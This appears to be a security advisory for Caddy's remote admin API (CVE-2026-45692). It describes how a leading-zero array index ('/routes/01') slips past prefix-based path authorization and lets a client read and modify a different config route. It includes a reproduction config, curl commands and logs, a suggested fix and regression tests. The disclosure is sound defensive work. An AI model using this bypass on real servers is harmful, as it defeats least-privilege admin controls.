  • using HTTP/1.x GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: /

  • TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d" < Date: Fri, 20 Mar 2026 02:15:28 GMT < Content-Length: 62 < {"handle":[{"body":"route one","handler":"static_response"}]}

  • Connection #0 to host localhost left intact root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/02
  • Added localhost:2031:127.0.0.1 to DNS cache
  • Hostname localhost was found in DNS cache
  • Trying 127.0.0.1:2031...
  • Connected to localhost (127.0.0.1) port 2031
  • ALPN: curl offers h2,http/1.1
  • TLSv1.3 (OUT), TLS handshake, Client hello (1):
  • TLSv1.3 (IN), TLS handshake, Server hello (2):
  • TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
  • TLSv1.3 (IN), TLS handshake, Request CERT (13):
  • TLSv1.3 (IN), TLS handshake, Certificate (11):
  • TLSv1.3 (IN), TLS handshake, CERT verify (15):
  • TLSv1.3 (IN), TLS handshake, Finished (20):
  • TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
  • TLSv1.3 (OUT), TLS handshake, Certificate (11):
  • TLSv1.3 (OUT), TLS handshake, CERT verify (15):
  • TLSv1.3 (OUT), TLS handshake, Finished (20):
  • SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
  • ALPN: server did not agree on a protocol. Uses default.
  • Server certificate:
  • subject: [NONE]
  • start date: Mar 19 21:59:41 2026 GMT
  • expire date: Mar 20 09:59:41 2026 GMT
  • issuer: CN=Caddy Local Authority - ECC Intermediate
  • SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
  • Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
  • Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
  • using HTTP/1.x GET /config/apps/http/servers/srv/routes/02 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: /

  • TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 400 Bad Request < Content-Type: application/json < Date: Fri, 20 Mar 2026 02:15:33 GMT < Content-Length: 84 < {"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"}

  • Connection #0 to host localhost left intact root@dbdd95a60758:/caddy# curl -vk \ -X PATCH \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ -H 'Content-Type: application/json' \ --data '{"handle":[{"handler":"static_response","body":"patched route one"}]}' \ https://localhost:2031/config/apps/http/servers/srv/routes/01
  • Added localhost:2031:127.0.0.1 to DNS cache
  • Hostname localhost was found in DNS cache
  • Trying 127.0.0.1:2031...
  • Connected to localhost (127.0.0.1) port 2031
  • ALPN: curl offers h2,http/1.1
  • TLSv1.3 (OUT), TLS handshake, Client hello (1):
  • TLSv1.3 (IN), TLS handshake, Server hello (2):
  • TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
  • TLSv1.3 (IN), TLS handshake, Request CERT (13):
  • TLSv1.3 (IN), TLS handshake, Certificate (11):
  • TLSv1.3 (IN), TLS handshake, CERT verify (15):
  • TLSv1.3 (IN), TLS handshake, Finished (20):
  • TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
  • TLSv1.3 (OUT), TLS handshake, Certificate (11):
  • TLSv1.3 (OUT), TLS handshake, CERT verify (15):
  • TLSv1.3 (OUT), TLS handshake, Finished (20):
  • SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
  • ALPN: server did not agree on a protocol. Uses default.
  • Server certificate:
  • subject: [NONE]
  • start date: Mar 19 21:59:41 2026 GMT
  • expire date: Mar 20 09:59:41 2026 GMT
  • issuer: CN=Caddy Local Authority - ECC Intermediate
  • SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
  • Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
  • Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
  • using HTTP/1.x PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: / Content-Type: application/json Content-Length: 69

  • TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Date: Fri, 20 Mar 2026 02:15:39 GMT < Content-Length: 0 < Connection: close <

  • Closing connection
  • TLSv1.3 (IN), TLS alert, close notify (256):
  • TLSv1.3 (OUT), TLS alert, close notify (256): root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01
  • Added localhost:2031:127.0.0.1 to DNS cache
  • Hostname localhost was found in DNS cache
  • Trying 127.0.0.1:2031...
  • Connected to localhost (127.0.0.1) port 2031
  • ALPN: curl offers h2,http/1.1
  • TLSv1.3 (OUT), TLS handshake, Client hello (1):
  • TLSv1.3 (IN), TLS handshake, Server hello (2):
  • TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
  • TLSv1.3 (IN), TLS handshake, Request CERT (13):
  • TLSv1.3 (IN), TLS handshake, Certificate (11):
  • TLSv1.3 (IN), TLS handshake, CERT verify (15):
  • TLSv1.3 (IN), TLS handshake, Finished (20):
  • TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
  • TLSv1.3 (OUT), TLS handshake, Certificate (11):
  • TLSv1.3 (OUT), TLS handshake, CERT verify (15):
  • TLSv1.3 (OUT), TLS handshake, Finished (20):
  • SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
  • ALPN: server did not agree on a protocol. Uses default.
  • Server certificate:
  • subject: [NONE]
  • start date: Mar 19 21:59:41 2026 GMT
  • expire date: Mar 20 09:59:41 2026 GMT
  • issuer: CN=Caddy Local Authority - ECC Intermediate
  • SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
  • Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
  • Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
  • using HTTP/1.x GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 Host: localhost:2031 User-Agent: curl/8.5.0 Accept: /

  • TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0" < Date: Fri, 20 Mar 2026 02:15:49 GMT < Content-Length: 70 < {"handle":[{"body":"patched route one","handler":"static_response"}]}

  • Connection #0 to host localhost left intact root@dbdd95a60758:/caddy#

  ## Suggested Fix

  The authorization layer should not allow a path that resolves to a different config object than the one represented by the authorized path.

  A practical fix would be to reject non-canonical numeric array components in /config traversal and/or authorization.

  For example:

  - allow 0
  - allow 1
  - reject 01
  - reject 002

  One possible helper:

func parseCanonicalIndex(s string) (int, error) { if s == "" { return 0, fmt.Errorf("empty index") } if s != "0" && strings.HasPrefix(s, "0") { return 0, fmt.Errorf("non-canonical array index") } return strconv.Atoi(s) } ```

Then use that helper anywhere /config array indices are parsed.

## Why This Fix Makes Sense

This preserves intended config addressing while preventing ambiguous selectors from referring to different objects than the authorization layer appears to permit.

It would still allow:

  • /routes/0
  • /routes/1

but reject:

  • /routes/01
  • /routes/002

That removes the authorization/resource mismatch.

## Suggested Regression Tests

  1. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/0, expect allowed.
  2. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/01, expect denied or invalid.
  3. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/02, expect denied or invalid.
  4. With PATCH allowed on /.../routes/0, verify that /.../routes/01 cannot modify routes[1].
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.11.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-187",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:51:31Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "This report is not about a normal textual prefix-expansion case.\n\n The issue here is that the authorization layer and the `/config` traversal layer do **not agree on what object the path refers to**.\n\n  In this case, a path authorized for one config object is accepted, but then resolves to a **different config object** during traversal. \n\n  ## AI Disclosure\n\n  The reporter used an LLM to help review the code, reason about the behavior, and help draft this report.\n  The reporter manually reproduced and validated the issue locally, confirmed the relevant source paths, and captured the requests and responses below.\n\n  ## Summary\n\n  A remote admin client certificate restricted to the following path:\n\n  ```text\n  /config/apps/http/servers/srv/routes/0\n```\n  can still read and modify a different array element by requesting:\n\n  /config/apps/http/servers/srv/routes/01\n\n  This happens because:\n\n  - the authorization layer uses string prefix matching\n  - the /config traversal layer parses array indices numerically using strconv.Atoi()\n\n  So:\n\n  - authorization sees /.../01 as matching /.../0\n  - traversal resolves 01 to numeric index 1\n  - the request therefore targets routes[1], not routes[0]\n\n  This is not just a prefix-match quirk. It is an authorization-to-object mismatch.\n\n  ## Why This Is In Scope\n\n  This is a security bug in Caddy\u0027s own code:\n\n  - no browser behavior is involved\n  - no dependency bug is involved\n  - no external system compromise is involved\n  - no third-party software compromise is required\n  - no unsafe content hosting or file upload is required\n\n  This is also not just \u201can unsafe configuration\u201d.\n\n  The configuration explicitly attempts to limit access to one specific path:\n\n  /config/apps/http/servers/srv/routes/0\n\n  But Caddy enforces a policy that ends up granting access to a different object (routes[1]) because of how traversal interprets the final path component.\n\n  In short:\n\n  - configured authorization target: routes[0]\n  - actual accessed object: routes[1]\n\n  That difference is caused by Caddy itself.\n\n  ## Relevant Source Code\n\n  Authorization path matching:\n\n  - admin.go:719\n\n  Authorization config comment:\n\n  - admin.go:213\n\n  Config traversal with numeric parsing:\n\n  - admin.go:1201\n  - admin.go:1310\n\n  ## Root Cause\n\n  ### Authorization layer\n\n```\n  for _, allowedPath := range accessPerm.Paths {\n  \tif strings.HasPrefix(r.URL.Path, allowedPath) {\n  \t\tpathFound = true\n  \t\tbreak\n  \t}\n  }\n```\n\n  ### Traversal layer\n\n  idx, err = strconv.Atoi(idxStr)\n\n  and later:\n\n  partInt, err := strconv.Atoi(part)\n\n  Because of that:\n\n  - allowed path: /config/.../routes/0\n  - requested path: /config/.../routes/01\n  - authorization decision: allowed\n  - actual object selected: routes[1]\n\n  ## Why This Is Not Just a \u201cPrefix\u201d Case\n\n  For a normal path hierarchy, a \u201csubpath\u201d means a child resource of the same authorized object.\n\n  For example:\n\n  - /config/apps/http\n  - /config/apps/http/servers\n  - /config/apps/http/servers/srv/routes/0/handle\n\n  Those are genuine deeper descendants.\n\n  But this case is different.\n\n  Within the /config API, the final path component after /routes/ is not just a text fragment. It is a semantic selector for an array index.\n\n  So:\n\n  - /routes/0 means routes[0]\n  - /routes/01 means routes[1]\n  - /routes/02 means routes[2]\n\n  That means /routes/01 is not a child of routes[0] in object semantics.\n  It is a different array element entirely.\n\n  So even if prefix matching is documented, this case is different because:\n\n  - authorization uses the textual form\n  - traversal uses the numeric form\n  - the two refer to different objects\n\n  This should be treated as an authorization bug rather than a documented prefix behavior.\n\n  ## Security Impact\n\n  A remote admin identity restricted to one /config array element can:\n\n  - read a different array element\n  - modify a different array element\n\n  This breaks least-privilege remote admin policies.\n\n  In practice, a delegated certificate that should only be able to inspect or edit one route can instead inspect or edit another route in the same array.\n\n  ## Affected Product\n\n  Tested on:\n\n  v2.11.2-3-gdf65455b\n\n  Affected area:\n\n  - remote admin\n  - admin.remote.access_control.permissions.paths\n  - /config API paths containing numeric array indices\n\n  The reporter reproduced this on current HEAD.\n\n\n  ## Minimal Reproduction Configuration\n\n```\n  {\n    \"storage\": {\n      \"module\": \"file_system\",\n      \"root\": \"/tmp/caddy-config-index-storage\"\n    },\n    \"admin\": {\n      \"listen\": \"127.0.0.1:2029\",\n      \"identity\": {\n        \"identifiers\": [\"localhost\"],\n        \"issuers\": [\n          { \"module\": \"internal\" }\n        ]\n      },\n      \"remote\": {\n        \"listen\": \"127.0.0.1:2031\",\n        \"access_control\": [\n          {\n            \"public_keys\": [\"\u003cCLIENT_CERT_BASE64_DER\u003e\"],\n            \"permissions\": [\n              {\n                \"methods\": [\"GET\", \"PATCH\"],\n                \"paths\": [\"/config/apps/http/servers/srv/routes/0\"]\n              }\n            ]\n          }\n        ]\n      }\n    },\n    \"apps\": {\n      \"http\": {\n        \"servers\": {\n          \"srv\": {\n            \"listen\": [\":9088\"],\n            \"routes\": [\n              {\n                \"handle\": [\n                  {\n                    \"handler\": \"static_response\",\n                    \"body\": \"route zero\"\n                  }\n                ]\n              },\n              {\n                \"handle\": [\n                  {\n                    \"handler\": \"static_response\",\n                    \"body\": \"route one\"\n                  }\n                ]\n              }\n            ]\n          }\n        }\n      }\n    }\n  }\n```\n\n  ## Commands\n\n  ### 1. Generate client certificate\n\n```\n  openssl req -x509 -newkey rsa:2048 -nodes -days 365 \\\n    -subj \u0027/CN=remote-admin-client\u0027 \\\n    -keyout client.key \\\n    -out client.crt\n```\n\n  ### 2. Convert to base64 DER\n\n```\n  CLIENT_CERT_B64=\"$(openssl x509 -in client.crt -outform der | base64 | tr -d \u0027\\n\u0027)\"\n```\n  ### 3. Start Caddy\n```\n  go run ./cmd/caddy run --config ./repro.json\n```\n  ## Specific Minimal Reproduction Steps\n\n  ### Step 1: Read the explicitly authorized object\n```\n  curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/0\n```\n  Observed result:\n```\n  \u003c HTTP/1.1 200 OK\n  {\"handle\":[{\"body\":\"route zero\",\"handler\":\"static_response\"}]}\n```\n  ### Step 2: Read a different object using a leading-zero index\n```\n  curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n```\n  Observed result:\n```\n  \u003c HTTP/1.1 200 OK\n  {\"handle\":[{\"body\":\"route one\",\"handler\":\"static_response\"}]}\n```\n  This shows that a client limited to routes/0 can read routes[1].\n\n  ### Step 3: Confirm that the traversal layer is interpreting the component numerically\n```\n  curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/02\n```\n  Observed result:\n```\n  \u003c HTTP/1.1 400 Bad Request\n  {\"error\":\"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\"}\n```\n  This is important because it shows Caddy is not treating 01 and 02 as ordinary child paths under 0. It is treating them as numeric indices.\n\n  ### Step 4: Modify the unauthorized object\n```\n  curl -vk \\\n    -X PATCH \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    --data \u0027{\"handle\":[{\"handler\":\"static_response\",\"body\":\"patched route one\"}]}\u0027 \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n```\n  Observed result:\n```\n  \u003c HTTP/1.1 200 OK\n```\n  ### Step 5: Confirm the unauthorized modification\n```\n  curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n```\n  Observed result:\n```\n  \u003c HTTP/1.1 200 OK\n  {\"handle\":[{\"body\":\"patched route one\",\"handler\":\"static_response\"}]}\n```\n  That confirms the client was able to modify routes[1], even though only /routes/0 was authorized.\n\n  ## Precise Requests and Captured Output\n\n  ### Authorized read\n```\n  \u003e GET /config/apps/http/servers/srv/routes/0 HTTP/1.1\n  \u003e Host: localhost:2031\n  \u003e User-Agent: curl/8.5.0\n  \u003e Accept: */*\n  \u003c\n  \u003c HTTP/1.1 200 OK\n  \u003c Content-Type: application/json\n  \u003c Etag: \"/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3\"\n  \u003c\n  {\"handle\":[{\"body\":\"route zero\",\"handler\":\"static_response\"}]}\n```\n  ### Unauthorized read\n```\n  \u003e GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n  \u003e Host: localhost:2031\n  \u003e User-Agent: curl/8.5.0\n  \u003e Accept: */*\n  \u003c\n  \u003c HTTP/1.1 200 OK\n  \u003c Content-Type: application/json\n  \u003c Etag: \"/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d\"\n  \u003c\n  {\"handle\":[{\"body\":\"route one\",\"handler\":\"static_response\"}]}\n```\n  ### Numeric index interpretation evidence\n```\n  \u003e GET /config/apps/http/servers/srv/routes/02 HTTP/1.1\n  \u003e Host: localhost:2031\n  \u003e User-Agent: curl/8.5.0\n  \u003e Accept: */*\n  \u003c\n  \u003c HTTP/1.1 400 Bad Request\n  \u003c\n  {\"error\":\"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\"}\n```\n  ### Unauthorized modification\n```\n  \u003e PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1\n  \u003e Host: localhost:2031\n  \u003e User-Agent: curl/8.5.0\n  \u003e Accept: */*\n  \u003e Content-Type: application/json\n  \u003e Content-Length: 69\n  \u003c\n  \u003c HTTP/1.1 200 OK\n```\n  ### Confirmation of unauthorized modification\n```\n  \u003e GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n  \u003e Host: localhost:2031\n  \u003e User-Agent: curl/8.5.0\n  \u003e Accept: */*\n  \u003c\n  \u003c HTTP/1.1 200 OK\n  \u003c Content-Type: application/json\n  \u003c Etag: \"/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0\"\n  \u003c\n  {\"handle\":[{\"body\":\"patched route one\",\"handler\":\"static_response\"}]}\n```\n  ## Full Log Output\n\n  Relevant startup logs from the reproduction run:\n\n```\nroot@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json\n2026/03/20 02:10:51.148\tINFO\tmaxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\n2026/03/20 02:10:51.148\tINFO\tGOMEMLIMIT is updated\t{\"GOMEMLIMIT\": 26273105510, \"previous\": 9223372036854775807}\n2026/03/20 02:10:51.148\tINFO\tusing config from file\t{\"file\": \"/tmp/caddy-config-index-repro.json\"}\n2026/03/20 02:10:51.149\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2029\", \"enforce_origin\": false, \"origins\": [\"//localhost:2029\", \"//[::1]:2029\", \"//127.0.0.1:2029\"]}\n2026/03/20 02:10:51.149\tWARN\thttp\tHTTP/2 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:10:51.149\tWARN\thttp\tHTTP/3 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:10:51.149\tINFO\thttp.log\tserver running\t{\"name\": \"srv\", \"protocols\": [\"h1\", \"h2\", \"h3\"]}\n2026/03/20 02:10:51.149\tINFO\ttls.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc0003d7580\"}\n2026/03/20 02:10:51.149\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc00026fd00\"}\n2026/03/20 02:10:51.149\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/20 02:10:51.149\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:10:51.149\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/20 02:10:51.149\tINFO\tserving initial configuration\n2026/03/20 02:10:51.156\tINFO\ttls\tstorage cleaning happened too recently; skipping for now\t{\"storage\": \"FileStorage:/tmp/caddy-config-index-storage\", \"instance\": \"55d383b9-7ae1-4713-89a2-b4106612cdcf\", \"try_again\": \"2026/03/21 02:10:51.156\", \"try_again_in\": 86399.999999609}\n2026/03/20 02:10:51.156\tINFO\ttls\tfinished cleaning storage units\n2026/03/20 02:11:14.787\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/0\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"59932\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:11:22.116\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"40070\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\npkill -f \u0027/tmp/caddy-config-index-repro.json\u0027\n^C2026/03/20 02:13:47.114\tINFO\tshutting down\t{\"signal\": \"SIGINT\"}\n2026/03/20 02:13:47.114\tWARN\texiting; byeee!! \ud83d\udc4b\t{\"signal\": \"SIGINT\"}\n2026/03/20 02:13:47.114\tINFO\thttp\tservers shutting down with eternal grace period\n2026/03/20 02:13:47.114\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:13:47.114\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2029\"}\n2026/03/20 02:13:47.114\tINFO\tshutdown complete\t{\"signal\": \"SIGINT\", \"exit_code\": 0}\nroot@dbdd95a60758:/caddy# pkill -f \u0027/tmp/caddy-config-index-repro.json\u0027\nroot@dbdd95a60758:/caddy# pkill -f \u0027/tmp/caddy-config-index-repro.json\u0027\nroot@dbdd95a60758:/caddy# ps -ef | rg \u0027caddy-config-index-repro|cmd/caddy run --config /tmp/caddy-config-index-repro.json\u0027\nbash: rg: command not found\nroot@dbdd95a60758:/caddy# ss -ltnp | rg \u0027:2029|:2031|:9088\u0027\nbash: rg: command not found\nroot@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json\n2026/03/20 02:14:52.698\tINFO\tmaxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\n2026/03/20 02:14:52.698\tINFO\tGOMEMLIMIT is updated\t{\"GOMEMLIMIT\": 26273105510, \"previous\": 9223372036854775807}\n2026/03/20 02:14:52.698\tINFO\tusing config from file\t{\"file\": \"/tmp/caddy-config-index-repro.json\"}\n2026/03/20 02:14:52.698\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2029\", \"enforce_origin\": false, \"origins\": [\"//localhost:2029\", \"//[::1]:2029\", \"//127.0.0.1:2029\"]}\n2026/03/20 02:14:52.699\tWARN\thttp\tHTTP/2 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:14:52.699\tWARN\thttp\tHTTP/3 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:14:52.699\tINFO\thttp.log\tserver running\t{\"name\": \"srv\", \"protocols\": [\"h1\", \"h2\", \"h3\"]}\n2026/03/20 02:14:52.699\tINFO\ttls.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc00011d900\"}\n2026/03/20 02:14:52.699\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc000276800\"}\n2026/03/20 02:14:52.699\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/20 02:14:52.699\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:14:52.699\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/20 02:14:52.699\tINFO\tserving initial configuration\n2026/03/20 02:14:52.706\tINFO\ttls\tstorage cleaning happened too recently; skipping for now\t{\"storage\": \"FileStorage:/tmp/caddy-config-index-storage\", \"instance\": \"55d383b9-7ae1-4713-89a2-b4106612cdcf\", \"try_again\": \"2026/03/21 02:14:52.706\", \"try_again_in\": 86399.999999659}\n2026/03/20 02:14:52.706\tINFO\ttls\tfinished cleaning storage units\n2026/03/20 02:15:17.145\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/0\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"35382\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:28.746\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"38998\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:33.180\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/02\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"46698\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:33.180\tERROR\tadmin.api\trequest error\t{\"error\": \"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\", \"status_code\": 400}\n2026/03/20 02:15:39.610\tINFO\tadmin.api\treceived request\t{\"method\": \"PATCH\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"46712\", \"headers\": {\"Accept\":[\"*/*\"],\"Content-Length\":[\"69\"],\"Content-Type\":[\"application/json\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:39.610\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2029\", \"enforce_origin\": false, \"origins\": [\"//localhost:2029\", \"//[::1]:2029\", \"//127.0.0.1:2029\"]}\n2026/03/20 02:15:39.610\tWARN\thttp\tHTTP/2 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:15:39.610\tWARN\thttp\tHTTP/3 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:15:39.610\tINFO\thttp.log\tserver running\t{\"name\": \"srv\", \"protocols\": [\"h1\", \"h2\", \"h3\"]}\n2026/03/20 02:15:39.610\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2029\"}\n2026/03/20 02:15:39.610\tINFO\tadmin.identity.cache.maintenance\tstopped background certificate maintenance\t{\"cache\": \"0xc000276800\"}\n2026/03/20 02:15:39.610\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc0005b6a00\"}\n2026/03/20 02:15:39.611\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/20 02:15:39.611\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:15:39.611\tINFO\thttp\tservers shutting down with eternal grace period\n2026/03/20 02:15:39.611\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/20 02:15:39.612\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:15:49.018\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"53712\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n```\n\n```\nroot@dbdd95a60758:/caddy# curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/0\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 